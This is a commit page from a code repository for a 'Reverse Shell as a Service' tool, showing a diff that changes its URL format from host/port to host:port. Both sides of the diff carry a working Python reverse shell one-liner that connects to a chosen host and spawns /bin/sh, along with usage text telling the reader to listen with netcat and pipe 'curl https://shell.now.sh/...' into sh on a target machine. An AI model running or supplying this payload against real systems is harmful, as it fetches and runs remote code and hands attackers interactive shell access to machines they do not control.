Browse Source

Use colon seperator for ip:port

pull/2/head
Luke Childs 7 years ago
parent
commit
3335aa737d
  1. 6
      src/index.js

6
src/index.js

@ -6,15 +6,15 @@ const usage = `# Reverse Shell as a Service
# 1. On your machine, open up a port and listen to it with netcat # 1. On your machine, open up a port and listen to it with netcat
# nc -l 1337 # nc -l 1337
# #
# 2. On the target machine, pipe the output of https://shell.now.sh/yourhostnameorip/port into sh # 2. On the target machine, pipe the output of https://shell.now.sh/yourhostnameorip:port into sh
# curl https://shell.now.sh/192.168.0.69/1337 | sh # curl https://shell.now.sh/192.168.0.69:1337 | sh
# #
# 3. Don't be a dick`; # 3. Don't be a dick`;
const generatePayload = (host, port) => `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`; const generatePayload = (host, port) => `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`;
const reverseShell = req => { const reverseShell = req => {
const [, host, port] = req.url.split('/'); const [host, port] = req.url.substr(1).split(':');
return (host && port) ? generatePayload(host, port) : usage; return (host && port) ? generatePayload(host, port) : usage;
}; };

Loading…
Cancel
Save